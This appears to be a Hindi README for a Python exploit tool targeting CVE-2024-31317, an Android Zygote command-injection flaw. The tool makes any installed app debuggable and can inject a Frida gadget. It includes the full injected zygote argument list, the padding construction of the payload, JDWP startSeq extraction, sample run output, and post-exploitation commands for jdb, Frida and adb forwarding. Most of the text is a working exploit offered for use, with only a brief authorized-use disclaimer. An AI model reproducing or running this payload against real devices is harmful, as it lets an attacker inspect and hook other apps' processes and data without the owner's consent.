
CVE-2024-31317 डीबग करने योग्य ऐप शोषण
CVE-2024-31317 (Android Zygote Injection) के लिए एक Python-आधारित एक्सप्लॉइट जो hidden_api_blacklist_exemptions सेटिंग के माध्यम से दुर्भावनापूर्ण zygote आर्गुमेंट्स इंजेक्ट करके किसी भी इंस्टॉल किए गए Android ऐप को debuggable बनाता है। रनटाइम हुकिंग के लिए वैकल्पिक Frida गैजेट इंजेक्शन शामिल है।
यह एक्सप्लॉइट Android के Zygote प्रक्रिया में एक कमांड इंजेक्शन भेद्यता का लाभ उठाता है ताकि लक्ष्य एप्लिकेशन को debuggable फ्लैग सक्षम के साथ शुरू किया जा सके। यह रूट एक्सेस या ऐप के डीबग संस्करण की आवश्यकता के बिना किसी भी ऐप की JDWP डीबगिंग और निरीक्षण की अनुमति देता है।
शोध पर आधारित: Flanker के CVE-2024-31317 विश्लेषण
मुख्य अंतर्दृष्टि: "ZygoteArguments में runtime-flags फ़ील्ड वास्तव में किसी एप्लिकेशन के debuggable गुण को सक्षम करने के लिए उपयोग किया जा सकता है।"
runtime-flags=65535 सेट करता हैppadb, jdwplibनिम्नलिखित फ़ाइलों को एक ही निर्देशिका में रखें:
├── CVE-2024-31317-Debuggable.py # Main exploit script
├── jdwplib.py # JDWP client library
├── app-debug.apk # Debuggable helper app
├── frida-gadget-android-*.so # Frida gadget (optional)
├── frida-gadget.config.so # Frida config (optional)
└── win32/adb.exe # Windows ADB binary
python CVE-2024-31317-Debuggable.py
स्क्रिप्ट आपको एक पैरामीटर पहचान मोड चुनने के लिए प्रेरित करेगी:
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]:
चरण 1: startSeq निकालें
startSeq मान निकालता हैचरण 2: Zygote आर्गुमेंट्स इंजेक्ट करें
runtime-flags=65535 (debuggable) के साथ दुर्भावनापूर्ण zygote आर्गुमेंट्स बनाता हैhidden_api_blacklist_exemptions सेटिंग में इंजेक्ट करता हैचरण 3: पोस्ट-एक्सप्लॉइटेशन
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]: 1
[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701
Inject Frida? (y/N):
स्क्रिप्ट के शीर्ष पर स्थित स्थिरांक संपादित करें:
TARGET_APP = "com.debug.configurator" # Change to your target package
DEBUG_APP = "com.debug.app" # Helper debuggable app
DEBUG_APK = "app-debug.apk" # APK file for helper app
स्वतः-पहचान मोड (अनुशंसित):
pm list packages -U का उपयोग करता हैdumpsys package का उपयोग करता हैहार्डकोडेड मोड:
एक्सप्लॉइट सफल होने के बाद, आप वैकल्पिक रूप से Frida गैजेट इंजेक्ट कर सकते हैं:
Inject Frida? (y/N): y
स्क्रिप्ट करेगी:
frida-gadget.so को /data/local/tmp/ पर पुश करेगीrun-as के माध्यम से ऐप के डेटा निर्देशिका में कॉपी करेगीशीर्ष ब्रेकपॉइंट स्वचालित रूप से ट्रिगर होने चाहिए। यदि वे टाइमआउट करते हैं, तो फ़ॉलबैक ब्रेकपॉइंट ट्रिगर करने के लिए ऐप पर टैप करें।
सफल इंजेक्शन के बाद:
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget
# List processes
frida-ps -H 127.0.0.1:27042
एक बार एक्सप्लॉइट सफल हो जाने के बाद, लक्ष्य ऐप डीबगिंग सक्षम के साथ चल रहा है:
JDWP डीबगर से कनेक्ट करें:
jdb -attach localhost:8701
Android Studio डीबगर का उपयोग करें - फ़ॉरवर्ड किए गए पोर्ट पर प्रक्रिया से अटैच करें
Frida का उपयोग करें - यदि स्क्रिप्ट के माध्यम से गैजेट इंजेक्ट किया गया था
CVE-2024-31317 Android के Zygote प्रक्रिया में एक कमांड इंजेक्शन भेद्यता है। विशेष रूप से तैयार इनपुट के साथ hidden_api_blacklist_exemptions सिस्टम सेटिंग में हेरफेर करके, हम किसी ऐप के शुरू होने पर मनमाने zygote आर्गुमेंट्स इंजेक्ट कर सकते हैं।
startSeq निष्कर्षण: प्रत्येक ऐप लॉन्च में एक अद्वितीय अनुक्रम संख्या होती है। हम स्टैक फ्रेम वेरिएबल्स का निरीक्षण करके JDWP के माध्यम से एक debuggable ऐप से इसे निकालते हैं।
पेलोड निर्माण: हम zygote आर्गुमेंट्स बनाते हैं जिनमें शामिल हैं:
--runtime-args
--setuid=<target_uid>
--setgid=<target_gid>
--runtime-flags=65535 # Enables all debug flags
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<package>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<data_dir>
--package-name=<package>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
इंजेक्शन: पेलोड को Android 12+ के लिए विशिष्ट पैडिंग के साथ सिस्टम सेटिंग में इंजेक्ट किया जाता है:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
ट्रिगर: लक्ष्य ऐप को फोर्स-स्टॉप और पुनरारंभ करें, जो हमारे इंजेक्ट किए गए आर्गुमेंट्स और debuggable फ्लैग सक्षम के साथ लॉन्च होता है।
Frida इंजेक्शन इस प्रकार काम करता है:
Runtime.load() का उपयोग करना"startSeq प्राप्त करने में विफल"
Frida इंजेक्शन के दौरान "कोई ब्रेकपॉइंट हिट नहीं हुआ"
Frida कनेक्शन अस्वीकृत
adb forward --listadb forward tcp:27042 tcp:27042यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। इसका उपयोग केवल उन उपकरणों पर करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध और अनैतिक है। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।
MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें।
| क्लास | विधि | ट्रिगर |
|---|
android.os.MessageQueue | next | स्वचालित - मुख्य लूपर लगातार पोल करता है |
android.os.Binder | execTransact | स्वचालित - कोई IPC/बाइंडर कॉल |
android.app.ActivityThread | handleMessage | स्वचालित - ऐप का मुख्य हैंडलर |
android.os.Handler | dispatchMessage | स्वचालित - संदेश भेजना |
android.os.Handler | handleMessage | स्वचालित - संदेश प्रबंधन |
android.view.Choreographer | doFrame | स्वचालित - फ़्रेम कॉलबैक |
android.view.View | dispatchTouchEvent | मैनुअल - स्पर्श की आवश्यकता है |
android.view.View | onDraw | मैनुअल - UI पुनः ड्रॉ की आवश्यकता है |